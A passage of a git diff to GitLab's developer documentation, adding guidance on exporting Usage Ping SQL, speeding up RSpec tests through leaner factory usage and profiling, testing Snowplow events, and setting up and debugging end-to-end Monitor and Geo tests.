Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: 'expand_vulnerabilities', start_date: 28.days.ago, end_date: Date.current) } ``` ### Alternative Counters @@ -363,8 +564,6 @@ When adding, changing, or updating metrics, please update the [Event Dictionary' Check if new metrics need to be added to the Versions Application. See `usage_data` [schema](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/db/schema.rb#L147) and usage data [parameters accepted](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/app/services/usage_ping.rb). Any metrics added under the `counts` key are saved in the `counts` column. -For further details, see the [Process to add additional instrumentation to the Usage Ping](https://about.gitlab.com/handbook/product/product-processes/#process-to-add-additional-instrumentation-to-the-usage-ping). - ### 6. Add the feature label Add the `feature` label to the Merge Request for new Usage Ping metrics. These are user-facing changes and are part of expanding the Usage Ping feature. @@ -627,6 +826,7 @@ The following is example content of the Usage Ping payload. "topology": { "duration_s": 0.013836685999194742, "application_requests_per_hour": 4224, + "query_apdex_weekly_average": 0.996, "failures": [], "nodes": [ { @@ -664,3 +864,24 @@ The following is example content of the Usage Ping payload. } } ``` + +## Exporting Usage Ping SQL queries and definitions + +Two Rake tasks exist to export Usage Ping definitions. + +- The Rake tasks export the raw SQL queries for `count`, `distinct_count`, `sum`. +- The Rake tasks export the Redis counter class or the line of the Redis block for `redis_usage_data`. +- The Rake tasks calculate the `alt_usage_data` metrics. + +In the home directory of your local GitLab installation run the following Rake tasks for the YAML and JSON versions respectively: + +```shell +# for YAML export +bin/rake gitlab:usage_data:dump_sql_in_yaml + +# for JSON export +bin/rake gitlab:usage_data:dump_sql_in_json + +# You may pipe the output into a file +bin/rake gitlab:usage_data:dump_sql_in_yaml > ~/Desktop/usage-metrics-2020-09-02.yaml +``` diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md index b60a26c29b5..6ef9be381b4 100644 --- a/doc/development/testing_guide/best_practices.md +++ b/doc/development/testing_guide/best_practices.md @@ -1,3 +1,11 @@ +--- +type: reference, dev +stage: none +group: Development +info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" +description: "GitLab development guidelines - testing best practices." +--- + # Testing best practices ## Test Design @@ -15,21 +23,6 @@ manifest themselves within our code. When designing our tests, take time to revi our test design. We can find some helpful heuristics documented in the Handbook in the [Test Engineering](https://about.gitlab.com/handbook/engineering/quality/test-engineering/#test-heuristics) section. -## Test speed - -GitLab has a massive test suite that, without [parallelization](ci.md#test-suite-parallelization-on-the-ci), can take hours -to run. It's important that we make an effort to write tests that are accurate -and effective _as well as_ fast. - -Here are some things to keep in mind regarding test performance: - -- `instance_double` and `spy` are faster than `FactoryBot.build(...)` -- `FactoryBot.build(...)` and `.build_stubbed` are faster than `.create`. -- Don't `create` an object when `build`, `build_stubbed`, `attributes_for`, - `spy`, or `instance_double` will do. Database persistence is slow! -- Don't mark a feature as requiring JavaScript (through `:js` in RSpec) unless it's _actually_ required for the test - to be valid. Headless browser testing is slow! - ## RSpec To run RSpec tests: @@ -57,13 +50,218 @@ bundle exec guard When using spring and guard together, use `SPRING=1 bundle exec guard` instead to make use of spring. -Use [Factory Doctor](https://test-prof.evilmartians.io/#/profilers/factory_doctor) to find cases on un-necessary database manipulation, which can cause slow tests. +### Test speed + +GitLab has a massive test suite that, without [parallelization](ci.md#test-suite-parallelization-on-the-ci), can take hours +to run. It's important that we make an effort to write tests that are accurate +and effective _as well as_ fast. + +Test performance is important to maintaining quality and velocity, and has a +direct impact on CI build times and thus fixed costs. We want thorough, correct, +and fast tests. Here you can find some information about tools and techniques +available to you to achieve that. + +#### Don't request capabilities you don't need + +We make it easy to add capabilities to our examples by annotating the example or +a parent context. Examples of these are: + +- `:js` in feature specs, which runs a full JavaScript capable headless browser. +- `:clean_gitlab_redis_cache` which provides a clean Redis cache to the examples. +- `:request_store` which provides a request store to the examples. + +Obviously we should reduce test dependencies, and avoiding +capabilities also reduces the amount of set-up needed. + +`:js` is particularly important to avoid. This must only be used if the feature +test requires JavaScript reactivity in the browser, since using a headless +browser is much slower than parsing the HTML response from the app. + +#### Optimize factory usage + +A common cause of slow tests is excessive creation of objects, and thus +computation and DB time. Factories are essential to development, but they can +make inserting data into the DB so easy that we may be able to optimize. + +The two basic techniques to bear in mind here are: + +- **Reduce**: avoid creating objects, and avoid persisting them. +- **Reuse**: shared objects, especially nested ones we do not examine, can generally be shared. + +To avoid creation, it is worth bearing in mind that: + +- `instance_double` and `spy` are faster than `FactoryBot.build(...)`. +- `FactoryBot.build(...)` and `.build_stubbed` are faster than `.create`. +- Don't `create` an object when `build`, `build_stubbed`, `attributes_for`, + `spy`, or `instance_double` will do. Database persistence is slow! + +Use [Factory Doctor](https://test-prof.evilmartians.io/#/profilers/factory_doctor) to find cases where database persistence is not needed in a given test. ```shell # run test for path FDOC=1 bin/rspec spec/[path]/[to]/[spec].rb ``` +A common change is to use `build` or `build_stubbed` instead of `create`: + +```ruby +# Old +let(:project) { create(:project) } + +# New +let(:project) { build(:project) } +``` + +[Factory Profiler](https://test-prof.evilmartians.io/#/profilers/factory_prof) can help to identify repetitive database persistence via factories. + +```shell +# run test for path +FPROF=1 bin/rspec spec/[path]/[to]/[spec].rb + +# to visualize with a flamegraph +FPROF=flamegraph bin/rspec spec/[path]/[to]/[spec].rb +``` + +A common change is to use [`let_it_be`](#common-test-setup): + +```ruby +# Old +let(:project) { create(:project) } + +# New +let_it_be(:project) { create(:project) } +``` + +A common cause of a large number of created factories is [factory cascades](https://github.com/test-prof/test-prof/blob/master/docs/profilers/factory_prof.md#factory-flamegraph), which result when factories create and recreate associations. +They can be identified by a noticeable difference between `total time` and `top-level time` numbers: + +```plaintext + total top-level total time time per call top-level time name + + 208 0 9.5812s 0.0461s 0.0000s namespace + 208 76 37.4214s 0.1799s 13.8749s project +``` + +The table above shows us that we never create any `namespace` objects explicitly +(`top-level == 0`) - they are all created implicitly for us. But we still end up +with 208 of them (one for each project) and this takes 9.5 seconds. + +In order to reuse a single object for all calls to a named factory in implicit parent associations, +[`FactoryDefault`](https://github.com/test-prof/test-prof/blob/master/docs/recipes/factory_default.md) +can be used: + +```ruby + let_it_be(:namespace) { create_default(:namespace) } +``` + +Then every project we create will use this `namespace`, without us having to pass +it as `namespace: namespace`. + +Maybe we don't need to create 208 different projects - we +can create one and reuse it. In addition, we can see that only about 1/3 of the +projects we create are ones we ask for (76/208), so there is benefit in setting +a default value for projects as well: + +```ruby + let_it_be(:project) { create_default(:project) } +``` + +In this case, the `total time` and `top-level time` numbers match more closely: + +```plaintext + total top-level total time time per call top-level time name + + 31 30 4.6378s 0.1496s 4.5366s project + 8 8 0.0477s 0.0477s 0.0477s namespace +``` + +#### Identify slow tests + +Running a spec with profiling is a good way to start optimizing a spec. This can +be done with: + +```shell +bundle exec rspec --profile -- path/to/spec_file.rb +``` + +Which includes information like the following: + +```plaintext +Top 10 slowest examples (10.69 seconds, 7.7% of total time): + Issue behaves like an editable mentionable creates new cross-reference notes when the mentionable text is edited + 1.62 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:164 + Issue relative positioning behaves like a class that supports relative positioning .move_nulls_to_end manages to move nulls to the end, stacking if we cannot create enough space + 1.39 seconds ./spec/support/shared_examples/models/relative_positioning_shared_examples.rb:88 + Issue relative positioning behaves like a class that supports relative positioning .move_nulls_to_start manages to move nulls to the end, stacking if we cannot create enough space + 1.27 seconds ./spec/support/shared_examples/models/relative_positioning_shared_examples.rb:180 + Issue behaves like an editable mentionable behaves like a mentionable extracts references from its reference property + 0.99253 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:69 + Issue behaves like an editable mentionable behaves like a mentionable creates cross-reference notes + 0.94987 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:101 + Issue behaves like an editable mentionable behaves like a mentionable when there are cached markdown fields sends in cached markdown fields when appropriate + 0.94148 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:86 + Issue behaves like an editable mentionable when there are cached markdown fields when the markdown cache is stale persists the refreshed cache so that it does not have to be refreshed every time + 0.92833 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:153 + Issue behaves like an editable mentionable when there are cached markdown fields refreshes markdown cache if necessary + 0.88153 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:130 + Issue behaves like an editable mentionable behaves like a mentionable generates a descriptive back-reference + 0.86914 seconds ./spec/support/shared_examples/models/mentionable_shared_examples.rb:65 + Issue#related_issues returns only authorized related issues for given user + 0.84242 seconds ./spec/models/issue_spec.rb:335 + +Finished in 2 minutes 19 seconds (files took 1 minute 4.42 seconds to load) +277 examples, 0 failures, 1 pending +``` + +From this result, we can see the most expensive examples in our spec, giving us +a place to start. The fact that the most expensive examples here are in +shared examples means that any reductions are likely to have a larger impact as +they are called in multiple places. + +#### Avoid repeating expensive actions + +While isolated examples are very clear, and help serve the purpose of specs as +specification, the following example shows how we can combine expensive +actions: + +```ruby +subject { described_class.new(arg_0, arg_1) } + +it 'creates an event' do + expect { subject.execute }.to change(Event, :count).by(1) +end + +it 'sets the frobulance' do + expect { subject.execute }.to change { arg_0.reset.frobulance }.to('wibble') +end + +it 'schedules a background job' do + expect(BackgroundJob).to receive(:perform_async) + + subject.execute +end +``` + +If the call to `subject.execute` is expensive, then we are repeating the same +action just to make different assertions. We can reduce this repetition by +combining the examples: + +```ruby +it 'performs the expected side-effects' do + expect(BackgroundJob).to receive(:perform_async) + + expect { subject.execute } + .to change(Event, :count).by(1) + .and change { arg_0.frobulance }.to('wibble') +end +``` + +Be careful doing this, as this sacrifices clarity and test independence for +performance gains. + +When combining tests, consider using `:aggregate_failures`, so that the full +results are available, and not just the first failure. + ### General guidelines - Use a single, top-level `RSpec.describe ClassName` block. @@ -229,9 +427,9 @@ spec itself, but the former is preferred. It takes around one second to load tests that are using `fast_spec_helper` instead of 30+ seconds in case of a regular `spec_helper`. -### `let` variables +### `subject` and `let` variables -GitLab's RSpec suite has made extensive use of `let`(along with it strict, non-lazy +GitLab's RSpec suite has made extensive use of `let`(along with its strict, non-lazy version `let!`) variables to reduce duplication. However, this sometimes [comes at the cost of clarity](https://thoughtbot.com/blog/lets-not), so we need to set some guidelines for their use going forward: @@ -250,6 +448,9 @@ so we need to set some guidelines for their use going forward: - `let!` variables should be used only in case if strict evaluation with defined order is required, otherwise `let` will suffice. Remember that `let` is lazy and won't be evaluated until it is referenced. +- Avoid referencing `subject` in examples. Use a named subject `subject(:name)`, or a `let` variable instead, so + the variable has a contextual name. +- If the `subject` is never referenced inside examples, then it's acceptable to define the `subject` without a name. ### Common test setup @@ -468,6 +669,48 @@ for modifications. If you have no other choice, an `around` block similar to the example for global variables, above, can be used, but this should be avoided if at all possible. +#### Test Snowplow events + +CAUTION: **Warning:** +Snowplow performs **runtime type checks** by using the [contracts gem](https://rubygems.org/gems/contracts). +Since Snowplow is **by default disabled in tests and development**, it can be hard to +**catch exceptions** when mocking `Gitlab::Tracking`. + +To catch runtime errors due to type checks, you can enable Snowplow in tests by marking the spec with +`:snowplow` and use the `expect_snowplow_event` helper which will check for +calls to `Gitlab::Tracking#event`. + +```ruby +describe '#show', :snowplow do + it 'tracks snowplow events' do + get :show + + expect_snowplow_event( + category: 'Experiment', + action: 'start', + ) + expect_snowplow_event( + category: 'Experiment', + action: 'sent', + property: 'property', + label: 'label' + ) + end +end +``` + +When you want to ensure that no event got called, you can use `expect_no_snowplow_event`. + +```ruby + describe '#show', :snowplow do + it 'does not track any snowplow events' do + get :show + + expect_no_snowplow_event + end + end +``` + ### Table-based / Parameterized tests This style of testing is used to exercise one piece of code with a comprehensive diff --git a/doc/development/testing_guide/end_to_end/beginners_guide.md b/doc/development/testing_guide/end_to_end/beginners_guide.md index 15a9b4406ab..c552c44c864 100644 --- a/doc/development/testing_guide/end_to_end/beginners_guide.md +++ b/doc/development/testing_guide/end_to_end/beginners_guide.md @@ -84,7 +84,7 @@ See the [`RSpec.describe` outer block](#the-outer-rspecdescribe-block) CAUTION: **Deprecation notice:** The outer `context` [was deprecated](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/550) in `13.2` -in adherance to RSpec 4.0 specifications. Use `RSpec.describe` instead. +in adherence to RSpec 4.0 specifications. Use `RSpec.describe` instead. ### The outer `RSpec.describe` block @@ -287,7 +287,7 @@ Note the following important points: - Our test fabricates only what it needs, when it needs it. - The issue is fabricated through the API to save time. - GitLab prefers `let()` over instance variables. See - [best practices](../best_practices.md#let-variables). + [best practices](../best_practices.md#subject-and-let-variables). - `be_closed` is not implemented in `page/project/issue/show.rb` yet, but will be implemented in the next step. diff --git a/doc/development/testing_guide/end_to_end/best_practices.md b/doc/development/testing_guide/end_to_end/best_practices.md index 3b193721143..36cb49256a6 100644 --- a/doc/development/testing_guide/end_to_end/best_practices.md +++ b/doc/development/testing_guide/end_to_end/best_practices.md @@ -1,7 +1,128 @@ # End-to-end testing Best Practices NOTE: **Note:** -This is an tailored extension of the Best Practices [found in the testing guide](../best_practices.md). +This is a tailored extension of the Best Practices [found in the testing guide](../best_practices.md). + +## Link a test to its test-case issue + +Every test should have a corresponding issue in the [Quality Testcases project](https://gitlab.com/gitlab-org/quality/testcases/). +It's recommended that you reuse the issue created to plan the test. If one does not already exist you +can create the issue yourself. Alternatively, you can run the test in a pipeline that has reporting +enabled and the test-case issue reporter will automatically create a new issue. + +Whether you create a new test-case issue or one is created automatically, you will need to manually add +a `testcase` RSpec metadata tag. In most cases, a single test will be associated with a single test-case +issue ([see below for exceptions](#exceptions)). + +For example: + +```ruby +RSpec.describe 'Stage' do + describe 'General description of the feature under test' do + it 'test name', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/:issue_id' do + ... + end + + it 'another test', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/:another_issue_id' do + ... + end + end +end +``` + +### Exceptions + +Most tests are defined by a single line of a `spec` file, which is why those tests can be linked to a +single test-case issue via the `testcase` tag. + +However, some tests don't have a one-to-one relationship between a line of a `spec` file and a test-case +issue. This is because some tests are defined in a way that means a single line is associated with +multiple tests, including: + +- Parallelized tests. +- Templated tests. +- Tests in shared examples that include more than one example. + +In those and similar cases we can't assign a single `testcase` tag and so we rely on the test-case +reporter to programmatically determine the correct test-case issue based on the name and description of +the test. In such cases, the test-case reporter will automatically create a test-case issue the first time +the test runs, if no issue exists already. + +In such a case, if you create the issue yourself or want to reuse an existing issue, +you must use this [end-to-end test issue template](https://gitlab.com/gitlab-org/quality/testcases/-/blob/master/.gitlab/issue_templates/End-to-end%20Test.md) +to format the issue description. + +To illustrate, there are two tests in the shared examples in [`qa/specs/features/ee/browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/47b17db82c38ab704a23b5ba5d296ea0c6a732c8/qa/qa/specs/features/ee/browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb): + +```ruby +shared_examples 'only user with access pushes and merges' do + it 'unselected maintainer user fails to push' do + ... + end + + it 'selected developer user pushes and merges' do + ... + end +end +``` + +Consider the following test that includes the shared examples: + +```ruby +RSpec.describe 'Create' do + describe 'Restricted protected branch push and merge' do + context 'when only one user is allowed to merge and push to a protected branch' do + ... + it_behaves_like 'only user with access pushes and merges' + end + end +end +``` + +There would be two associated test-case issues, one for each shared example, with the following content: + +[Test 1](https://gitlab.com/gitlab-org/quality/testcases/-/issues/600): + +````markdown +```markdown +Title: browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb | Create Restricted +protected branch push and merge when only one user is allowed to merge and push to a protected +branch behaves like only user with access pushes and merges selecte... + +Description: +### Full description + +Create Restricted protected branch push and merge when only one user is allowed to merge and push +to a protected branch behaves like only user with access pushes and merges selected developer user +pushes and merges + +### File path + +./qa/specs/features/ee/browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb + +``` +```` + +[Test 2](https://gitlab.com/gitlab-org/quality/testcases/-/issues/602): + +````markdown +```markdown +Title: browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb | Create Restricted +protected branch push and merge when only one user is allowed to merge and push to a protected +branch behaves like only user with access pushes and merges unselec... + +Description: +### Full description + +Create Restricted protected branch push and merge when only one user is allowed to merge and push +to a protected branch behaves like only user with access pushes and merges unselected maintainer +user fails to push + +### File path + +./qa/specs/features/ee/browser_ui/3_create/repository/restrict_push_protected_branch_spec.rb +``` +```` ## Prefer API over UI @@ -166,3 +287,26 @@ end NOTE: **Note:** A few exceptions for using a `ProjectPush` would be when your test calls for testing SSH integration or using the Git CLI. + +## Preferred method to blur elements + +To blur an element, the preferred method is to click another element that does not alter the test state. +If there's a mask that blocks the page elements, such as may occur with some dropdowns, +use WebDriver's native mouse events to simulate a click event on the coordinates of an element. Use the following method: `click_element_coordinates`. + +Avoid clicking the `body` for blurring elements such as inputs and dropdowns because it clicks the center of the viewport. +This action can also unintentionally click other elements, altering the test state and causing it to fail. + +```ruby +# Clicking another element to blur an input +def add_issue_to_epic(issue_url) + find_element(:issue_actions_split_button).find('button', text: 'Add an issue').click + fill_element :add_issue_input, issue_url + # Clicking the title blurs the input + click_element :title + click_element :add_issue_button +end + +# Using native mouse click events in the case of a mask/overlay +click_element_coordinates(:title) +``` diff --git a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md index 4059c1960e2..a9f54b53e5a 100644 --- a/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md +++ b/doc/development/testing_guide/end_to_end/rspec_metadata_tests.md @@ -8,13 +8,14 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec | Tag | Description | |-----|-------------| | `:elasticsearch` | The test requires an Elasticsearch service. It is used by the [instance-level scenario](https://gitlab.com/gitlab-org/gitlab-qa#definitions) [`Test::Integration::Elasticsearch`](https://gitlab.com/gitlab-org/gitlab/-/blob/72b62b51bdf513e2936301cb6c7c91ec27c35b4d/qa/qa/ee/scenario/test/integration/elasticsearch.rb) to include only tests that require Elasticsearch. | +| `:gitaly_cluster` | The test will run against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. | +| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) will provision the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run. | `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test will also include provisioning of at least one Kubernetes cluster to test against. *This tag is often be paired with `:orchestrated`.* | +| `:only` | The test is only to be run against specific environments. See [Environment selection](environment_selection.md) for more information. | | `:orchestrated` | The GitLab instance under test may be [configured by `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#orchestrated-tests) to be different to the default GitLab configuration, or `gitlab-qa` may launch additional services in separate Docker containers, or both. Tests tagged with `:orchestrated` are excluded when testing environments where we can't dynamically modify GitLab's configuration (for example, Staging). | | `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), will run in a separate job that only includes quarantined tests, and is allowed to fail. The test will be skipped in its regular job so that if it fails it will not hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). | | `:reliable` | The test has been [promoted to a reliable test](https://about.gitlab.com/handbook/engineering/quality/guidelines/reliable-tests/#promoting-an-existing-test-to-reliable) meaning it passes consistently in all pipelines, including merge requests. | | `:requires_admin` | The test requires an admin account. Tests with the tag are excluded when run against Canary and Production environments. | | `:runner` | The test depends on and will set up a GitLab Runner instance, typically to run a pipeline. | -| `:gitaly_ha` | The test will run against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. | | `:skip_live_env` | The test will be excluded when run against live deployed environments such as Staging, Canary, and Production. | -| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) will provision the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run. -| `:only` | The test is only to be run against specific environments. See [Environment selection](environment_selection.md) for more information. | +| `:testcase` | The link to the test case issue in the [Quality Testcases project](https://gitlab.com/gitlab-org/quality/testcases/). | diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md index 2cf2bb5b1d0..7ac0a00fcff 100644 --- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md +++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md @@ -134,3 +134,262 @@ Once you have finished testing you can stop and remove the Docker containers: docker stop gitlab-gitaly-ha praefect postgres gitaly3 gitaly2 gitaly1 docker rm gitlab-gitaly-ha praefect postgres gitaly3 gitaly2 gitaly1 ``` + +## Guide to run and debug Monitor tests + +### How to set up + +To run the Monitor tests locally, against the GDK, please follow the preparation steps below: + +1. Complete the [Prerequisites](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/auto_devops/index.md#prerequisites-for-gitlab-team-members-only), at least through step 5. Note that the monitor tests do not require permissions to work with GKE because they use [k3s as a Kubernetes cluster provider](https://github.com/rancher/k3s). +1. The test setup deploys the app in a Kubernetes cluster, using the Auto DevOps deployment strategy. +To enable Auto DevOps in GDK, follow the [associated setup](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/auto_devops/index.md#setup) instructions. If you have problems, review the [troubleshooting guide](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/auto_devops/tips_and_troubleshooting.md) or reach out to the `#gdk` channel in the internal GitLab Slack. +1. Do [secure your GitLab instance](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/auto_devops/index.md#secure-your-gitlab-instance) since it is now publicly accessible on `https://[YOUR-PORT].qa-tunnel.gitlab.info`. +1. Install the Kubernetes command line tool known as `kubectl`. Use the [official installation instructions](https://kubernetes.io/docs/tasks/tools/install-kubectl/). + +You might see NGINX issues when you run `gdk start` or `gdk restart`. In that case, run `sft login` to revalidate your credentials and regain access the QA Tunnel. + +### How to run + +Navigate to the folder in `/your-gdk/gitlab/qa` and issue the command: + +```shell +QA_DEBUG=true CHROME_HEADLESS=false GITLAB_ADMIN_USERNAME=rootusername GITLAB_ADMIN_PASSWORD=rootpassword GITLAB_QA_ACCESS_TOKEN=your_token_here GITLAB_QA_ADMIN_ACCESS_TOKEN=your_token_here CLUSTER_API_URL=https://kubernetes.docker.internal:6443 bundle exec bin/qa Test::Instance::All https://[YOUR-PORT].qa-tunnel.gitlab.info/ -- qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb --tag kubernetes --tag orchestrated --tag requires_admin +``` + +The following includes more information on the command: + +-`QA_DEBUG` - Set to `true` to verbosely log page object actions. +-`CHROME_HEADLESS` - When running locally, set to `false` to allow Chrome tests to be visible - watch your tests being run. +-`GITLAB_ADMIN_USERNAME` - Admin username to use when adding a license. +-`GITLAB_ADMIN_PASSWORD` - Admin password to use when adding a license. +-`GITLAB_QA_ACCESS_TOKEN` and `GITLAB_QA_ADMIN_ACCESS_TOKEN` - A valid personal access token with the `api` scope. This is used for API access during tests, and is used in the version that staging is currently running. The `ADMIN_ACCESS_TOKEN` is from a user with admin access. Used for API access as an admin during tests. +-`CLUSTER_API_URL` - Use the address `https://kubernetes.docker.internal:6443` . This address is used to enable the cluster to be network accessible while deploying using Auto DevOps. +-`https://[YOUR-PORT].qa-tunnel.gitlab.info/` - The address of your local GDK +-`qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb` - The path to the monitor core specs +-`--tag` - the meta-tags used to filter the specs correctly + +At the moment of this writing, there are two specs which run monitor tests: + +-`qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb` - has the specs of features in GitLab Core +-`qa/specs/features/ee/browser_ui/8_monitor/all_monitor_features_spec.rb` - has the specs of features for paid GitLab (Enterprise Edition) + +### How to debug + +The monitor tests follow this setup flow: + +1. Creates a k3s cluster on your local machine. +1. Creates a project that has Auto DevOps enabled and uses an Express template (NodeJS) for the app to be deployed. +1. Associates the created cluster to the project and installs GitLab Runner, Prometheus and Ingress which are the needed components for a successful deployment. +1. Creates a CI pipeline with 2 jobs (`build` and `production`) to deploy the app on the Kubernetes cluster. +1. Goes to Operation > Metrics menu to verify data is being received and the app is being monitored successfully. + +The test requires a number of components. The setup requires time to collect the metrics of a real deployment. +The complexity of the setup may lead to problems unrelated to the app. The following sections include common strategies to debug possible issues. + +#### Deployment with Auto DevOps + +When debugging issues in the CI or locally in the CLI, open the Kubernetes job in the pipeline. +In the job log window, click on the top right icon labeled as *"Show complete raw"* to reveal raw job logs. +You can now search through the logs for *Job log*, which matches delimited sections like this one: + +```shell +------- Job log: ------- +``` + +A Job log is a subsection within these logs, related to app deployment. We use two jobs: `build` and `production`. +You can find the root causes of deployment failures in these logs, which can compromise the entire test. +If a `build` job fails, the `production` job won't run, and the test fails. + +The long test setup does not take screenshots of failures, which is a known [issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/270). +However, if the spec fails (after a successful deployment) then you should be able to find screenshots which display the feature failure. +To access them in CI, go to the main job log window, look on the left side panel's Job artifacts section, and click Browse. + +#### Common issues + +**Container Registry** + +When enabling Auto DevOps in the GDK, you may see issues with the Container Registry, which stores +images of the app to be deployed. + +You can access the Registry is available by opening an existing project. On the left hand menu, +select `Packages & Registries > Container Registries`. If the Registry is available, this page should load normally. + +Also, the Registry should be running in Docker: + +```shell +$ docker ps + +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +f035f339506c registry.gitlab.com/gitlab-org/build/cng/gitlab-container-registry:v2.9.1-gitlab "/bin/sh -c 'exec /b…" 3 hours ago Up 3 hours 0.0.0.0:5000->5000/tcp jovial_proskuriakova +``` + +The `gdk status` command shows if the registry is running: + +```shell +run: ./services/registry: (pid 2662) 10875s, normally down; run: log: (pid 65148) 177993s +run: ./services/tunnel_gitlab: (pid 2650) 10875s, normally down; run: log: (pid 65154) 177993s +run: ./services/tunnel_registry: (pid 2651) 10875s, normally down; run: log: (pid 65155) 177993s +``` + +Also, restarting Docker and then, on the Terminal, issue the command `docker login https://[YOUR-REGISTRY-PORT].qa-tunnel.gitlab.info:443` and use the GDK credentials to login. Note that the Registry port and GDK port are not the same. When configuring Auto DevOps in GDK, the `gdk reconfigure` command outputs the port of the Registry: + +```shell +********************************************* +Tunnel URLs + +GitLab: https://[PORT].qa-tunnel.gitlab.info +Registry: https://[PORT].qa-tunnel.gitlab.info +********************************************* +``` + +These Tunnel URLs are used by the QA SSH Tunnel generated when enabling Auto DevOps on the GDK. + +**Pod Eviction** + +Pod eviction happens when a node in a Kubernetes cluster is running out of memory or disk. After many local deployments this issue can happen. The UI shows that installing Prometheus, GitLab Runner and Ingress failed. How to be sure it is an Eviction? While the test is running, open another Terminal window and debug the current Kubernetes cluster by `kubectl get pods --all-namespaces`. If you observe that Pods have *Evicted status* such as the install-runner here: + +```shell +$ kubectl get pods --all-namespaces + +NAMESPACE NAME READY STATUS RESTARTS AGE +gitlab-managed-apps install-ingress 0/1 Pending 0 25s +gitlab-managed-apps install-prometheus 0/1 Pending 0 12s +gitlab-managed-apps install-runner 0/1 Evicted 0 75s +``` + +You can free some memory with either of the following commands: `docker prune system` or `docker prune volume`. + +## Geo tests + +Geo end-to-end tests can run locally against a [Geo GDK setup](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/geo.md) or on Geo spun up in Docker containers. + +### Using Geo GDK + +Run from the [`qa/` directory](https://gitlab.com/gitlab-org/gitlab/-/blob/f7272b77e80215c39d1ffeaed27794c220dbe03f/qa) with both GDK Geo primary and Geo secondary instances running: + +```shell +CHROME_HEADLESS=false bundle exec bin/qa QA::EE::Scenario::Test::Geo --primary-address http://localhost:3001 --secondary-address http://localhost:3002 --without-setup +``` + +### Using Geo in Docker + +You can use [GitLab-QA Orchestrator](https://gitlab.com/gitlab-org/gitlab-qa) to orchestrate two GitLab containers and configure them as a Geo setup. + +Geo requires an EE license. To visit the Geo sites in your browser, you will need a reverse proxy server (for example, [NGINX](https://www.nginx.com/)). + +1. Export your EE license + + ```shell + export EE_LICENSE=$(cat <path/to/your/gitlab_license>) + ``` + +1. (Optional) Pull the GitLab image + + This step is optional because pulling the Docker image is part of the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb). However, it's easier to monitor the download progress if you pull the image first, and the scenario will skip this step after checking that the image is up to date. + + ```shell + # For the most recent nightly image + docker pull gitlab/gitlab-ee:nightly + + # For a specific release + docker pull gitlab/gitlab-ee:13.0.10-ee.0 + + # For a specific image + docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:examplesha123456789 + ``` + +1. Run the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb) with the `--no-teardown` option to build the GitLab containers, configure the Geo setup, and run Geo end-to-end tests. Running the tests after the Geo setup is complete is optional; the containers will keep running after you stop the tests. + + ```shell + # Using the most recent nightly image + gitlab-qa 